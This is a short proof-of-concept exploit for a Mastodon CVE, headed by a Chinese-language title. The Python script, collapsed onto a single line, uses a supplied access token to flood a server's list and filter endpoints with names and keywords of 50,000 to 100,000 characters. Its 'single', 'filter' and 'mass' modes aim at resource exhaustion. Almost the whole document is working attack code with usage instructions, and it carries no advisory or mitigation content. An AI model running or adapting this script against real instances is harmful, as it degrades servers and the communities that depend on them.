Mastodon列表/过滤器名称长度未限制导致资源耗尽(CVE-2026-23963)

# CVE-2026-23963 PoC - Mastodon Resource Exhaustion via Unlimited List/Filter Names # This PoC demonstrates creating lists with extremely long names to cause resource exhaustion import requests import json import sys class MastodonResourceExhaustion: def __init__(self, target_url, access_token): self.target_url = target_url.rstrip('/') self.access_token = access_token self.headers = { 'Authorization': f'Bearer {access_token}', 'Content-Type': 'application/json' } def create_long_list_name(self, list_name_length=100000): """ Create a list with an extremely long name to exhaust server resources """ long_name = 'A' * list_name_length endpoint = f'{self.target_url}/api/v1/lists' payload = { 'title': long_name } try: response = requests.post(endpoint, headers=self.headers, json=payload, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Successfully created list with name length: {list_name_length}') print(f'[+] List ID: {data.get("id")}') return data.get('id') else: print(f'[-] Failed to create list. Status: {response.status_code}') print(f'[-] Response: {response.text}') return None except Exception as e: print(f'[-] Error: {str(e)}') return None def create_filter_with_long_keywords(self, keyword_length=100000, keyword_count=10): """ Create filters with extremely long keywords to exhaust server resources """ endpoint = f'{self.target_url}/api/v2/filters' for i in range(keyword_count): long_keyword = 'B' * keyword_length payload = { 'phrase': long_keyword, 'context': ['home', 'notifications', 'public', 'thread'], 'irreversible': False, 'whole_word': False } try: response = requests.post(endpoint, headers=self.headers, json=payload, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Created filter {i+1}/{keyword_count} with keyword length: {keyword_length}') print(f'[+] Filter ID: {data.get("id")}') else: print(f'[-] Failed to create filter {i+1}. Status: {response.status_code}') except Exception as e: print(f'[-] Error creating filter {i+1}: {str(e)}') def mass_create_exhaustion(self, count=100, name_length=50000): """ Mass create lists with long names to maximize resource exhaustion """ print(f'[*] Starting mass resource exhaustion attack...') print(f'[*] Creating {count} lists with {name_length} char names each') created_ids = [] for i in range(count): list_id = self.create_long_list_name(name_length) if list_id: created_ids.append(list_id) if (i + 1) % 10 == 0: print(f'[*] Progress: {i+1}/{count} lists created') print(f'[+] Attack complete. Created {len(created_ids)} lists') print(f'[+] Total characters submitted: {len(created_ids) * name_length}') return created_ids if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2026_23963_poc.py <target_url> <access_token> <attack_type>') print('Example: python cve_2026_23963_poc.py https://mastodon.example.com your_token single') print('Attack types: single, filter, mass') sys.exit(1) target = sys.argv[1] token = sys.argv[2] attack_type = sys.argv[3] exploit = MastodonResourceExhaustion(target, token) if attack_type == 'single': exploit.create_long_list_name(100000) elif attack_type == 'filter': exploit.create_filter_with_long_keywords(100000, 10) elif attack_type == 'mass': exploit.mass_create_exhaustion(100, 50000) else: print('Unknown attack type') sys.exit(1)